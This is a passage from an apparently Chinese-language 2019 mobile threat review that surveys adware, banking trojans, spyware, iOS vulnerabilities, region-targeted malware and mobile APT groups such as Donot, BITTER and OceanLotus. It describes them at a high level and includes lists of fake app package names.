Play主要安全事件统计，我们发现广告流氓软件占据了很大的比例，少量的间谍软件、银行木马也会出现，此外还有挂着正规厂商的越界软件。
**推送广告的流氓软件**
互联网盛行的今天，广告的收益非常大，这也就促使了很多团伙与个人通过各种手段推送广告获利。国际上对于流氓广告软件，其打击力度非常大，各大安全厂商及Google
Play对于APP的审核也相当严格，然而面对海量的APP软件，总会有漏网之鱼。下面我们列举2019年Google
Play上发现的影响较大的推送广告的流氓软件事件。
Goole
Play上发现的推送广告的恶意软件，其都是通过仿冒当下热度较高的APP，以及用户用的较多的相机软件、游戏软件等进行诱骗用户下载；其运行方式也基本相同，隐藏自身图标后全屏推送广告。推送广告的流氓软件，对于用户来说是令人讨厌的，但对于广告公司来说是巨大的利润损失。
移动端的广告欺诈问题同样严重，广告欺诈主要针对广告厂商，通过广告堆叠、模拟点击、设备ID重置欺诈、捆绑ID欺诈、SDK欺诈等。目前已经形成了完整的黑色产业链，而每年通过欺诈的方式，黑产团伙可以获得将近1亿美元的收入。
预计到2020年移动广告将占全球广告支出的30.5%，总额将达到1870亿美元，是桌面广告支出880亿美元的两倍多，仅落后电视广告1920亿美元50亿美元，以目前移动互联网的发展速度，超过电视广告也将很快到来。黑产团伙及个人在巨额利益的诱惑下，未来对移动互联网产业的冲击是巨大的。面对越来越复杂的技术，对于安全厂商来说，如何应对这一问题将至关重要。
**银行木马软件**
相比于广告软件，银行木马危害程度要高很多。这类木马其针对性强，在网络犯罪中非常流行，近年来各类恶意木马层出不穷，其从根本上危害到了用户的个人信息、财产安全。2019年奇安信移动安全团队也时刻关注着这类软件，且对于流行银行木马进行了持续跟踪与分析。
2019年活跃的主要银行木马：
银行木马名称 | 影响简介 | 备注
---|---|---
Gustuff |
Gustuff木马可以仿冒100多种银行应用程序和32种加密货币，其目标包括美国银行、苏格兰银行、摩根大通、富国银行等。该木马还可以仿冒PayPal，Western
Union，eBay，Walmart，Skype，WhatsApp，Gett Taxi，Revolut等。 | 尚未在Google Play出现。
尚未在国内出现。
Anubis | Anubis木马功能强大，自身结合了钓鱼、远控、勒索木马的功能。已经影响全球100多个国家，300多家金融机构。 | 已出现在Google
Play。
尚未在国内出现，国内国际版应用被仿冒。
Cerberus |
地狱犬为2019年新发现的Android银行木马，其目前正在地下论坛出租。目前为止仅适用七个法国银行、七个美国银行、一个日本银行、15个非银行应用程序。 |
尚未在Google Play出现。
尚未在国内出现。
Red Alert | Red
Alert最早出现在2017年，但2019年依然活跃。其针对120家银行和社交网络应用。针对国家多为欧美，日本、印度也有发现。 | 尚未在Google
Play出现。
尚未在国内出现。
Exobot | Exobot主要针对移动支付应用，且对用户较多的应用下手，目前其主要针对PayPal及特定地区的银行、金融应用。 | 尚未在Google
Play出现。
尚未在国内出现。
其源码已泄露。
2019年活跃的主要银行木马，除了仿冒银行图标外，仿冒最多的图标：
Android银行木马尤其以Anubis最臭名昭著，Anubis功能异常强大，自身结合了钓鱼、远控、勒索木马等功能，其完全可以作为间谍软件。而且Anubis影响范围很大，可以仿冒全球378个银行及金融机构，目前主要活跃在欧美国家，国内暂时没有发现，奇安信移动安全团队自Anubis爆发以来，一直对其进行追踪，我们通过数据平台监测到Anubis仿冒国际版“抖音”与国际版“PUBG”，并予以披露。
Anubis仿冒图标：
2019年Anubis活动主要时间线：
值得注意的是，2019年Anubis的作者，maza-in被捕，其竟然是前军事人员，maza-in可能将会面临5年的牢狱之灾。但由于Anubis的源码早已公开，所以Anubis的变种以及仿冒Anubis的恶意软件在未来还会给用户财产带来威胁。
2019年Cerberusd的出现并通过其强大的功能，迅速被列入了顶级Android木马威胁的行列。更为有趣的是，Cerberus的作者专门开通了推特账号，在其推特下发布该恶意软件的促销广告，并尝试与其他感兴趣的人沟通，同时发布安全厂商披露Cerberusd的文章，以此进行打趣。
**间谍窃密软件**
窃密软件以获取用户个人信息为目的，用户个人信息的贩卖同样也是黑产的一部分。相比于银行木马，窃密软件获取的信息更多，在一定程度上给用户造成损失的不止钱财。当攻击者掌握了足够多的用户信息，衍生的犯罪行为也会更多，用户潜在的威胁会更大。但是在数据爆炸的当下，有些数据泄露无法避免，我们只有将危害降低到最低。下面我们盘点下2019年重大的移动间谍窃密事件。
窃密方式 | 事件简介 | 备注
---|---|---
通过剪贴板窃密 | Google
Play上首次发现了利用剪辑器窃取加密货币的恶意软件，该恶意软件冒充为MetaMask合法服务，恶意软件的主要目的是窃取受害者的凭据和私钥，以控制受害者的以太坊资金。
| 已出现在Google Play。
SMS网络钓鱼 |
该攻击依赖于无线（OTA）设置的过程，运营商通常使用该过程将特定于网络的设置部署到加入其网络的新电话上。但是调查后发现，任何人都可以发送OTA设置消息。 |
影响包括三星、华为、LG、索尼等手机。目前已修复。
仿冒正常APP | Google Play上发现一款窃密软件命名为Joker，已发现有问题应用24款，影响国家达到37个，其中包括中国。 |
已出现在Google Play。
国内受影响。
仿冒正常APP | Google Play上再次发现基于Triout
Android间谍软件框架的APP，其下载量达到了5000万，评论达到了100万。韩国、德国影响较为严重。 | 已出现在Google Play。
嵌入SDK | 据Check Point 报道，国内某公司在应用中嵌入SWAnalytics SDK，用于收集用户数据，受影响应用多达12个。 |
国内受影响。
监控软件 | Google Play上检测到8个应用，可用于监控个人的软件，该软件主要用于监控员工、家庭成员。已累计下载14万次。 | 已出现在Google
Play。
仿冒正常APP
间谍软件
| Google Plasy上发现基于AhMyth，针对音乐发烧友的间谍软件。该恶意软件用于窃取用户个人信息，应用启动后多以英语、波斯语显示。 |
已出现在Google Play，其它应用商城也已出现。
仿冒为聊天软件窃密 |
名为CallerSpy的聊天应用，本身并无聊天功能，目前应该处于测试阶段。启动时，CallerSpy启动与通过C＆C服务器的连接[Socket.IO](https://socket.io/)监测即将到来的命令。然后，它利用[Evernote
Android-Job](http://evernote.github.io/android-job/)开始调度作业以窃取信息。 | 目前无受害用户
[StrandHogg](https://threatpost.com/strandhogg-vulnerability-allows-malware-to-pose-as-legitimate-android-apps/150750/)漏洞 |
StrandHog漏洞可使恶意软件伪装成流行的应用程序，并要求各种权限，使黑客可以监听用户、拍摄照片、发送短信等。该漏洞影响包括Android
10的设备，直接导致了前500名最受欢迎的的应用面临被仿冒风险。 | Android用户可能面临风险。
目前窃密类恶意软件多为通过仿冒正规应用程序诱骗用户安装下载，而且其方法技术也在不断的更新，剪贴板窃密、SMS网络钓鱼、结合开源框架等恶意软件，未来随着技术的发展，恶意软件窃密的方法可能会更多。
通过对2019年窃密软件的总结，我们发现通过Google Play进行传播仍然是恶意作者的首选传播方式。然而事实也确实证实了，Google
Play的检测确实存在着盲区。这类软件一旦在Google Play上架，影响范围是巨大的，包括中国用户也受到了波及。互联网的开放利弊很明显，当Google
Play无法完全过滤恶意软件的时候，当国内用户使用高科技上网的时候，那时候一部分人将直面这类窃密软件，带来的危害可能不止是个人的信息泄露。
包括影响国内用户的Joker窃密软件影响范围：
**iOS漏洞**
相比于Android，人们一直觉得iOS很安全。诚然iOS拥有比Android更安全的生态圈，有安全性更可靠的保障，但也是相对而言的，当前iOS并没有我们想象中的那么安全。
iOS的安全是建立在苹果公司闭源的操作系统上的，其拥有独立的生态。但近年来一直有黑客团伙利用丰富的漏洞进行攻击，包括APT攻击。
研究团队 | 事件简介 | 影响
---|---|---
谷歌 Project Zero 安全研究团队 | 一些网站集结了五个漏洞利用链——将安全漏洞链接起来的工具，供黑客层层突破 iOS
数字防护。这些少见且错综复杂的代码链利用了总共 14 个安全漏洞，目标范围涵盖从浏览器 “沙箱”
隔离机制到操作系统内核的方方面面，最终目的是获取手机完全控制权。一旦安装上，该间谍软件可以监视实时位置数据，或者抓取照片、联系人，乃至从 iOS
Keychain 中抽取密码和其他敏感信息。 | iOS10 到 iOS 12
[AdaptiveMobile Security](https://simjacker.com/) |
SIM卡超级漏洞，iPhone，Android都会收到影响。该漏洞已经存在了两年之久，黑客可以使用该漏洞无声无息的入侵用户手机。 |
iPhone、Android
| 荷兰黑客通过“查找我得Iphone”应用中的漏洞，入侵数百个icloud账户，窃取用户隐私。 | iPhone
| 苹果公司修复了“AirDos”漏洞，该漏洞可以利用AirDrop共享弹出通知无限地向附近的所有iPhone和iPad发送垃圾邮件。 | iPhone
iPad
| iPhone的BootROM漏洞被称为“ checkm8”
，这是一个无法修复的漏洞，影响了数亿部iPhone，攻击者可以通过不可阻挡的越狱黑客在系统级别访问手机。很快出现了一种[名为checkra1n](https://threatpost.com/checkra1n-jailbreak-stirs-concerns/150182/)的漏洞，该漏洞使用户可以绕过DRM限制来运行未经授权和自定义的软件。 | iPhone
苹果的漏洞，仿佛在2019年都一下子冒了出来，包括历时数年的一次水坑攻击中，总共出现的14个iphone漏洞。这些导致iOS的安全问题在今年被无限放大，为此苹果在12月正式向公众开放了其私人漏洞赏金计划，同时将最高报酬提到了100万美元。
### 对特定地区攻击的恶意事件
全球共有233个国家和地区，每个国家跟地区使用的语言、生活习惯等都不相同，包括国家与地区之间可能由于种种原因，互有矛盾等。这也就造成了移动端恶意软件的攻击具有地域性。下面我们盘点2019年针对各个地区，比较具有代表性的恶意事件。
本次列举2019年重大恶意事件影响地区：
**针对韩国的恶意软件**
首先从我们的近邻韩国开始说起，根据我们内部的数据，2019年韩国遭遇的恶意攻击事件众多，最多的为，因黑产而引起的银行木马，这类软件在韩国异常猖獗，且已经持续了多年。2019年我们发现了针对韩国的几类银行木马，对其中的一些也进行过分析披露，我们发现该类木马多为国人编写，后台服务器众多，仿冒的软件涵盖了韩国大部分金融软件。
KBuster：通过仿冒韩国多款银行APP的木马软件，在我们披露时已发现55种，118个在野样本，使用了多达300个服务器用于存放用户信息。
主要伪造的图标：
样本执行流程图：
Google Play上发现韩国公交车应用Bus App系列软件，被黑客利用下发虚假插件，攻击特定目标。
应用信息：
感染流程图：
**针对巴基斯坦的恶意软件**
由于地区政治的原因，印巴之间一直有冲突，然而在APT攻击之外，2019年我们发现，有监控软件对巴基斯坦地区实施长时间的监控活动。我们将此次活动命名为：克什米尔冲突之针对巴基斯坦的Chenab（奇纳布河）监控活动。
远控指令列表：
**针对日本的恶意软件**
FunkyBot：针对日本的新型Android恶意软件家族，该类恶意软件会模拟为一家物流公司诱骗用户使用，并窃取用户手机信息上传至恶意服务器。
FunkyBot特殊的地方在于，类似Anubis曾经使用虚假的Telegram和Twitter帐户一样，FunkyBot也会使用社交媒体账号获取其C2，它下载了没有照片的Instagram帐户的网页。然后，提取该帐户的传记字段，并使用Base64对其进行解码。而且根据溯源发现，该软件目前还处于开发测试阶段。
**针对波兰、捷克的恶意软件**
2019年初，启明星辰ADLab发现了一款全新的Android银行钓鱼木马，命名为BankThief。该类木马主要针对波兰、捷克等数十家银行客户端。
目标银行logo：
攻击流程图：
**针对意大利的恶意软件**
2019年3月29日，Security Without Borders发现了一个新的Android间谍软件，他们将之命名为“Exodus”。Security
Without Borders在Google
Play中收集了2016年到2019年初的大量样本，他们发现Exodus是由意大利一家名为eSurv从事视频监控的公司开发的，其在Google
Play中伪装为移动运行商的应用程序，页面与诱饵都是意大利语，通过Google
Play公开的数据显示，最多的一个下载量达到了350个，目前这些软件都已从Google Play中删除。
Google Play中下载页面：
**针对西班牙的恶意软件**
西班牙一直比较受银行木马所青睐，在2019年我们捕获了多起针对西班牙的银行木马事件。其中最多得为Anubis与Gnip。而Gnip为经过Anubis变种而来的。
2019年我们检测到，Anubis通过仿冒为西班牙邮政运营商Correos的恶意软件。
Anubis攻击西班牙载体：
打开推特获取备份C2：
仿冒银行登录页面：
2019年银行木马Ginp针对西班牙与英国的攻击活动，其模仿Adobe Flash
Player，滥用辅助功能服务，将其自身设置为默认SMS应用程序，从C＆C服务器获取网络钓鱼注入。
Ginp为Anubis变种，Ginp与Anubis代码对比：
**针对澳大利亚的恶意软件**
2019年银行木马在国外盛行，澳大利亚也遭到了Gustuff的袭击。Gustuff
多次将目标瞄准澳大利亚，它可以仿冒澳大利亚市场上100多种金融程序及32种加密货币程序，除了可以窃取金融凭证外，还可以自动执行交易。
Gustuff一直在不断更新，2019年早些时候被披露以后，其不断的在更新功能、C2与传播方式。Gustuff在开始的时候通过仿冒银行木马Marcher，在一次次更新后，其代码结构、方法上已完全脱离了Marcher。
Group-IB统计的六月份与十月份域名点击情况：
**针对奥地利的恶意软件**
2019年我们发现了一款仿冒奥地利“Willhaben”软件的钓鱼木马，其会获取用户信息，并通过短信的方式向用户发送退款链接，从而诱骗用户钱财。
预付款钓鱼页面：
**针对埃及的恶意软件**
“尼罗河之眼”，2019年3月Check Point发现了针对埃及记者与人权活动者的攻击。其攻击方式新颖，通过“
OAuth网络钓鱼”的技术。通过滥用于Gmail或Outlook等流行邮件服务的第三方应用程序，攻击者操纵了受害者，使他们可以完全访问他们的电子邮件。
入侵流程：
攻击的APK：
**针对德国的恶意软件**
德国联邦信息安全办公室（BSI）在2019年6月6日发布了安全警告，该国至少有四款只能手机型号的固件种嵌入了后门恶意软件。受影响的型号有[Doogee
BL7000](https://www.scribd.com/document/412574432/190606-Doogee-BL7000)，[M-Horse Pure
1](https://www.scribd.com/document/412574433/190606-M-Horse-Pure-1)，Keecoo
P11和VKworld Mix Plus。嵌入的恶意软件为[Andr / Xgen2-CY](https://news.sophos.com/en-us/2018/10/02/the-price-of-a-cheap-mobile-phone-may-include-your-privacy/) 。
该恶意软件收集的信息如下：
**针对巴西的恶意软件**
2019年我们在巴西发现了仿冒WannaCry勒索软件，该恶意软件在UI上借鉴了WannaCry，功能上除了可以获取用户信息以外，还可以执行DDOS攻击，网络钓鱼等。与国内早期发现的仿冒WannaCry勒索软件的
“王者荣耀辅助”已完全不同。
含有西班牙语的勒索界面：
同样在巴西，发现了“BRATA”远控恶意家族，其专门针对巴西，从一月开始已经通过Google Play在巴西广泛传播，目前已在Google
Play上发现了２０多种不同的变体。
远控指令及含义：
**针对伊朗的恶意软件**
伊朗由于各种原因，依然是2019年世界的焦点。2019我们发现有相关间谍软件，仿冒为“کوروش
بزرگ!”(居鲁士大帝！)针对伊朗的攻击。此类样本极具有诱惑性，通过普及伊朗一些历史事件，诱骗用户安装使用，目的为窃取伊朗用户个人信息。
指令列表：
**其它安全事件**
2019年，除了以上具有代表性的针对地区攻击外，还有更多的地区受到其它移动安全事件的影响，其中以“TikTok”、“WhatsApp”、“ToTok”最受关注。
TikTok：海外版抖音。
美国民主党议员Schumer提出抖音海外版TikTok对用户数据处理，会影响美国国家安全，之后美国陆军、海军相继对短视频TikTok展开安全评估，并在军队中禁止使用TikTok。而在年初的时候，该议员还呼吁联邦调查局（FBI）和联邦贸易委员（FTC）开展对俄罗斯人脸编辑照片应用程序FaceApp进行国家安全和隐私调查。其实无论TikTok是否真的收集了敏感数据，从美国的做法中我们可以看出，在面对国家安全的时候谨慎的态度让我们看到了，其对移动安全的重视，对数据安全的重视。
WhatsApp：堪称海外版微信。
WhatsApp指责以色列公司NSO攻击其软件，从而对中东等地的持有不同政见的个人、记者、维权人士进行监控，获取重要数据信息。WhatsApp表示，其经过了半年的调查，发现黑客利用其向约1400部手机发动攻击，窃取宝贵的信息。
ToTok：阿联酋用户最多的通讯应用。
阿联酋，是一个禁用诸如WhatsApp和Skype之类的聊天APP的国家，因此ToTok的出现引领了一股下载风潮。但据熟悉机密情报评估和对该应用程序及其开发者进行调查的美国官员说，ToTok实际上是一种间谍工具。阿拉伯联合酋长国政府使用它来尝试跟踪将其安装在手机上的人们的每一次对话，动向，关系，约会，声音和图像。
智能手机已经发展了十多年，移动威胁产生的时间与其差不多，智能手机目前已经嵌入到了我们的生活，从最初的供给面到现在的多平台攻击，包括平板电脑、手机、电视、医疗设备等，未来还有物联网，威胁与日俱增。同样的智能手机的发展，为一些黑客组织、个人提供了完美的平台。在未来针对地区的攻击会越多，我们面对的威胁也会更多。
## 第二章 2019年各地移动APT事件总结
2019年世界依旧不太平，在表面平静的背后是暗流涌动。大规模军事冲突不会发生的当下，因利益，政治，宗教等问题依然会有局部战争。其中尤其以中东问题最为突出，更多关于APT组织的相关信息，请关注奇安信威胁情报中心，红雨滴团队GitHub的APT_Digital_Weapon资料库：
https://github.com/RedDrip7/APT_Digital_Weapon
下面我们盘点2019年移动端APT攻击事件。
### KONNI
APT组织 | KONNI
---|---
团队可能来源 | 东亚地区
最早活动时间 | 2014
最早披露时间 | 2017
最早披露厂商 | Talos
APT组织介绍 |
KONNI是由Talos命名的恶意软件，其相关活动最早可以追溯到2014年。相关的受害者是联合国，联合国儿童基金会和与朝鲜有联系的大使馆等官方组织的成员。
事件概括：
2019年8月，韩国安全厂商ESTsecurity披露了KONNI
APT组织使用Android端木马的新攻击活动，并称其与APT组织Kimsuky存在关联。
11月奇安信威胁情报中心红雨滴团队在日常的高级威胁监测过程中，发现多起疑似针对韩国地区Android用户的恶意代码攻击活动。攻击者通过将恶意安卓应用伪装成韩国常用移动应用，从而诱导受害者安装使用。经关联分析，我们发现此次攻击活动无论从攻击手法还是木马框架都与ESTsecurity披露的KONNI
Android木马一致。
该软件主要通过短信投递的方式，主要功能为：窃取上传用户手机的一些机密信息，包括通信录、短信记录、APP安装记录、sd卡目录以及在用户手机上采集到的录音信息等。
相关样本信息：
指令列表：
攻击流程：
### Group 123（APT37）
APT组织 | Group 123（APT37）
---|---
团队可能来源 | 东亚地区
最早活动时间 | 2012
最早披露时间 | 2016
最早披露厂商 | Kaspersky
APT组织介绍 |
APT37是东亚地区网络间谍组织，至少从2012年开始运营。其目标主要位于韩国，2017年APT37的目标范围扩大到了朝鲜半岛以外的地区，包括日本，越南，俄罗斯，中国，印度和中东的一些国家。
受影响的行业范围更广，包括化学，电子，制造业，航空航天，汽车和医疗保健实体。
事件概括：
2019年奇安信威胁情报中心捕获到一批Kevdroid样本，该批新变种通过仿冒主流APP应用，对目标进行攻击。其中有通过仿冒“微信国际版”的攻击样本。
Kevdroid被EST团队在2019年3月首次在韩国捕获并披露，随后Talos和PAN也进行了跟进分析，2018年11月360-CERT与盘古实验室披露过一款伪装成网易邮箱大师的恶意APK。此次我们捕获的Kevdroid样本，通过其仿冒的APP及配置文件所适配的语言，我们发现Kevdroid针对的地区众多，除了英语使用国家外，明显的为中国（包括中国台湾与港澳地区）、韩国、日本、俄罗斯、印度、阿拉伯语使用国家等。
样本信息：
远控指令及功能：
同源样本信息：
### Lazarus Group
APT组织 | Lazarus Group
---|---
团队可能来源 | 东亚地区
最早活动时间 | 2009
最早披露时间 | 2013
最早披露厂商 | Symantec
APT组织介绍 | Lazarus Group被认为是东亚地区（Bureau
121）背景下的APT组织，其最早的攻击活动可以追溯到2009年，包括针对韩国的DarkSeoul，2014年攻击SONY事件，2017年的WannaCry事件。美国DoJ于2018年发布了对朝鲜黑客Park
Jin Hyok的公开指控书并认为其所属组织和上述事件有关。近几年来，该组织的活动主要针对全球金融、银行及加密货币交易相关的目标。
事件概括：
2019年12月11日据国外安全研究员披露，Lazarus APT与犯罪软件巨头Trickbot存在合作关系，其针对全球的银行与网络犯罪目标。其通过
Trickbot开发的Anchor攻击框架进行合作。
这一举动无疑是第一个APT组织与犯罪团伙进行合作，通过Lazarus
Group的以往活动，我们不难发现其与Trickbot的共同目标。这无疑在将来会给我们带来巨大的威胁。
### 双尾蝎（APT-C-23）
APT组织 | 双尾蝎（APT-C-23）
---|---
团队可能来源 | 西亚地区
最早活动时间 | 2016
最早披露时间 | 2017
最早披露厂商 | 奇安信
APT组织介绍 |
双尾蝎（APT-C-23）组织对巴勒斯坦教育机构、军事机构实施APT攻击。其攻击工具包括Windows和Android平台，攻击范围主要为中东地区。并通过鱼叉或水坑等攻击方式配合社会工程学手段进行渗透，向特定目标人群进行攻击。后续国外安全厂商也将Big
Bang攻击行动与双尾蝎联系到一起。
事件概括：
2019年奇安信威胁情报中心捕获了APT-C-23带有政治主题的诱饵PDF文件，其使用了全新的C2，此次发现变种在原有的基础上功能进行了增加，代码结构、控制指令等都进行了巨大的改变。
含有政治主题的诱饵文件：
其通过SMS、FCM两种方式下发指令。
通过SMS下发指令：
通过FCM下发指令：
### 拍拍熊（APT-C-37）
APT组织 | 拍拍熊（APT-C-37）
---|---
团队可能来源 | 西亚地区
最早活动时间 | 2015
最早披露时间 | 2019
最早披露厂商 | 360
APT组织介绍 |
拍拍熊（APT-C-37）被认为同样是西亚地区电子军背景的APT组织，其同时拥有针对Windows和Android的攻击平台，并且在过去主要针对极端组织“伊斯兰国”实施攻击活动。该组织对巴勒斯坦教育机构、军事机构实施APT攻击。并通过鱼叉或水坑等攻击方式配合社会工程学手段进行渗透，向特定目标人群进行攻击。后续国外安全厂商也将Big
Bang攻击行动与双尾蝎联系到一起。
事件概括：
2019年3月25,360烽火实验室发现从2015年10月起至今，拍拍熊组织（APT-C-37）针对某武装组织展开了有组织、有计划、针对性的长期不间断攻击。其攻击平台为Windows和Android。
某武装组织由于其自身的政治、宗教等问题，使其成为了众多黑客及国家的攻击目标。2017年3月，某武装组织Amaq媒体频道发布了一条警告消息，该消息提醒访问者该网站已被渗透，任何访问该网站的人都会被要求下载伪装成Flash安装程序的病毒文件。从消息中我们确定了某武装组织是该行动的攻击目标，其载荷投递方式至少包括水坑式攻击。
拍拍熊攻击相关的关键时间事件点：
### Donot（APT-C-35）
APT组织 | Donot（APT-C-35）
---|---
团队可能来源 | 南亚地区
最早活动时间 | 2016
最早披露时间 | 2017
最早披露厂商 | 奇安信
APT组织介绍 |
Donot“肚脑虫”（APT-C-35）是疑似具有南亚背景的APT组织，主要以巴基斯坦为目标的威胁组织，其主要使用yty和EHDevel两套恶意软件框架。分析研究也发现其与Hangover和Patchwork存在联系。由奇安信威胁情报中心红雨滴团队（@RedDrip7）持续跟踪发现并命名，其主要针对巴基斯坦等南亚地区国家进行网络间谍活动。
事件概括：
2019年Donot异常活跃，奇安信威胁情报中心在2019年持续跟踪Donot，移动端进行过多次披露。随着印巴局势的紧张，Donot也随之活动频繁。
该APT组织主要针对政府机构等领域进行攻击，以窃取敏感信息为主要目的。该APT组织除了以携带Office漏洞或者恶意宏的鱼叉邮件进行恶意代码的传播之外，还格外擅长利用安卓APK进行恶意代码传播。
2019年Donot移动端的攻击活动比较活跃，2019年前上半年根据我们的跟踪发现，在印巴双方因克什米尔地区（Kashmir）局势紧张的时候，Donot诱饵无论是从图标、样本信息伪装主要针对巴基斯坦用户，尤其以“KashmirVoice”(克什米尔之声)表现最为突出。然而2019年下半年的时候，我们持续发现其对伪装为腾讯系APP较为执着，从开始的仅仅是包名伪装，到现在的伪装日渐趋于成熟来看，Donot的攻击目标也在向国内偏移，国内一些流量较大的APP将会是首选仿冒目标。
Donot 2019年诱饵信息列表：
仿冒应用名 | 仿冒包名 | 仿冒图标
---|---|---
Device System Services | com.sysdeviceservice.iapps |
KNS Lite | com.newlite.sapp |
Update Service | com.update.android.v2.test3 |
Google Update Service | com.update.gooqle |
Google Play Service Instant Apps | com.sense.android.gservicelite |
System Service | com.tencent.mobileqq |
Android Database Library | com.tencent.mm |
System Service | com.tencent.mm |
2019 年红雨滴团队Donot跟踪历史：
### 军刀狮（APT-C-38）
APT组织 | 军刀狮（APT-C-38）
---|---
团队可能来源 | 西亚地区
最早活动时间 | 2015
最早披露时间 | 2018
最早披露厂商 | Kaspersky
APT组织介绍 |
军刀狮（APT-C-38）为卡巴披露的一个针对中东目标的APT组织，其主要通过Telegram和水坑攻击分发恶意软件，该组织也重点针对库尔德人目标。其攻击平台为Windows和Android。
事件概括：
军刀狮组织在2018年5月首次被Kaspersky披露曝光，该组织为一个未归属的专注于中东目标的间谍活动组织，并命名ZooPark，涉及的攻击武器共包含四个迭代版本的Android端RAT，载荷投递方式包括水坑和Telegram频道。
2019年奇安信威胁情报中心，对该组织有持续的追踪分析：
360烽火实验室也对该组织攻击活动进行了分析。
烽火实验室总结的时间线：
受攻击地区：
### OceanLotus（海莲花）
APT组织 | OceanLotus（海莲花）
---|---
团队可能来源 | 东亚地区
最早活动时间 | 2012
最早披露时间 | 2015
最早披露厂商 | 奇安信
APT组织介绍 |
OceanLotus（海莲花）由奇安信威胁情报中心首先披露的APT组织，其最早活动可追溯至2012年。该组织主要使用鱼叉攻击和水坑攻击针对中国政府、海事等机构，后续也针对东南亚国家，其主要使用Denis木马和Cobalt
Strike。
事件概括：
2019年5月24日，安天移动安全对发生在我国的一起海莲花攻击事件进行了分析。此次进行分析的恶意软件，伪装为正常的应用，在运行后隐藏图标，并于后台释放恶意子包并接收远程控制指令，窃取用户短信、联系人、通话记录、地理位置、浏览器记录等隐私信息，私自下载apk、拍照、录音，并将用户隐私上传至服务器，造成用户隐私泄露。
海莲花（OceanLotus）是一个据称越南背景的APT组织。该组织最早于2015年5月被天眼实验室(现“奇安信红雨滴团队(RedDrip)”)所揭露并命名，其攻击活动最早可追溯到2012
年4月，攻击目标包括中国海事机构、海域建设部门、科研院所和航运企业，后扩展到几乎所有重要的组织机构，并持续活跃至今。
样本信息：
### 蔓灵花（BITTER）
APT组织 | 蔓灵花（BITTER）
---|---
团队可能来源 | 南亚地区
最早活动时间 | 2013
最早披露时间 | 2016
最早披露厂商 | 360
APT组织介绍 |
蔓灵花（BITTER）组织历史主要针对中国、巴基斯坦政府等相关目标实施APT攻击。奇安信威胁情报中心后续发现该组织使用InPage漏洞，并与Confucius和摩诃草存在关联。
事件概括：
2019年8月，360烽火实验室在日常样本分析中发现一新型Android木马，根据其CC特点将其命名为SlideRAT，深入分析后发现该家族木马属于蔓灵花组织。此后，烽火实验室对该家族样本进行持续监控，2019年11初，发现SlideRAT攻击中国军工行业从事人员，11月中旬，该家族样本开始攻击中国驻巴基斯坦人员。短短半个月内，蔓灵花组织在移动平台至少进行了两次的攻击活动，且受害者均为中国人。
攻击流程图：
伪装图标：
## 第三章 2019年国内移动安全总结
2019年国内的移动恶意软件依然众多，黑产团伙依然猖獗。相比于恶意软件横行的2014、2015年前后，目前国内移动恶意软件在工信部，以及安全厂商的治理下，已明显减少。但恶意软件已由恶意行为明显的木马转为了不易被发现的黑灰产。所以国内目前的主要问题在于没有完善的法律法规，这使得相关部门及安全厂商没有统一的研判标准。
2019年国内没有爆发大的移动安全事故，但依然有大量恶意软件，对用户、对社会造成了的严重的危害。其中以色情软件、仿冒软件、私自上传信息的软件等影响最为广泛。我们通过监测平台及用户举报对一些典型案例也进行了分析披露。
### 色情软件
色情黑色产业近几年在移动应用端异常猖獗，其产业链也已经非常成熟。移动互联网近年来发展迅速，色情产业传播方式也更为多种多样。例如打着视频直播的名号，仿冒正规播放器，甚至通过名目张胆的图标诱骗用户点击的色情软件，以此诱骗用户消费、诱骗用户赌博、大量推送广告牟取利润等。通过色情产业还催生了更多的违法犯罪的行为，给社会带来了巨大的危害，给用户带来了财产损失。
常用图标：
### 仿冒软件
仿冒软件一直存在，恶意作者小到通过仿冒当下流行的APP，诱骗用户点击推送广告、推送软件以此获利；大到仿冒银行APP，仿冒第三方支付软件，窃取用户财产，进行诈骗等。2019年我们捕获到了大量的仿冒恶意软件，其中影响较大的有：仿冒银监会客户端，成功诈骗53万的电信诈骗事件；仿冒“学习强国”的恶意软件，针对检察机关工作人员的监控软件，该软件进行分析溯源后，我们已配合公安机关进行处理。
电信诈骗软件：
仿冒“学习强国”的恶意软件：
攻击流程：
### 违规软件
对于用户来说，最关心的莫过于个人隐私的安全。然而日常生活中，我们总能接到莫名其妙的骚扰电话。当我们在严厉打击窃取用户信息的恶意软件时，然而在正规应用商城中，一部分“正规”软件，借着法律法规的不完善，通过霸王条款，肆无忌惮的收集着用户的个人信息。终于2019年工信部对国内APP开始了相关的整治工作，并已通报第一批侵害用户行为的APP，未整改的APP已被下架处理。在5G到来之际，国家出台相关的法律法规，无疑对于用户的个人隐私有了稳定得保障。
2019年对于国内移动用户来说是一个转折，因为用户个人信息将受到法律保护的日子不远了，在全国人大常委会法工委举行第三次记者会上，新闻发言人、全国人大常委会法制工作委员会立法规划室主任岳仲明介绍，2020年的立法工作计划已经全国人大常委会第四十四次委员长会议原则通过，个人信息保护法明年将制定。
Android在国内缺少一个良性的生态圈，在未来国内法律法规完善以后，我们相信国内的Android市场会越来越好。另外我们也希望各大应用平台，可以做到，在依据工信部相关文件的情况下，对平台上的所有APP进行严格要求，为大众创造一个信任、放心的平台。奇安信移动安全团队会持续监测相关违规、违法APP并协助通报处置。
## 总结
智能手机对于我们来说，已是生活、工作的必需品，在现代社会没有智能手机可谓寸步难行。丰富多彩的APP为我们的生活提供了诸多便利，高速发展的科技与IT产业在电脑办公后，又催生了移动办公，使我们的工作更加便利。然而在享受智能手机为我们生活、工作带来便利的同时，也就意味着，我们将要面对的移动端攻击也会越多。
无论是个人、企业、国家，在未来我们都会面临目的性更明确的移动恶意攻击，对于个人我们要保障的是隐私不会外泄，对于企业要考虑的可能就是企业利益不会蒙受损害，但对于国家来说就是国家安不受威胁。通过我们对2019年移动安全的总结，希望用户从个人出发重视移动安全，维护企业利益，保障国家安全。未来我们奇安信移动安全团队，依然会在移动领域持续保持警惕，追踪最新安全事件。
## 参考资料
1.<https://blog.trendmicro.com/trendlabs-security-intelligence/adware-disguised-as-game-tv-remote-control-apps-infect-9-million-google-play-users/>
2.<https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/>
3.<https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/>
4.<https://www.zdnet.com/article/gustuff-android-banking-trojan-targets-100-banking-im-and-cryptocurrency-apps/>
5.<https://research.checkpoint.com/advanced-sms-phishing-attacks-against-modern-android-based-smartphones/>
6.<https://research.checkpoint.com/2019/preamo-a-clicker-campaign-found-on-google-play/>
7\. <https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/>
8.<https://medium.com/csis-techblog/analysis-of-joker-a-spy-premium-subscription-bot-on-googleplay-9ad24f044451>
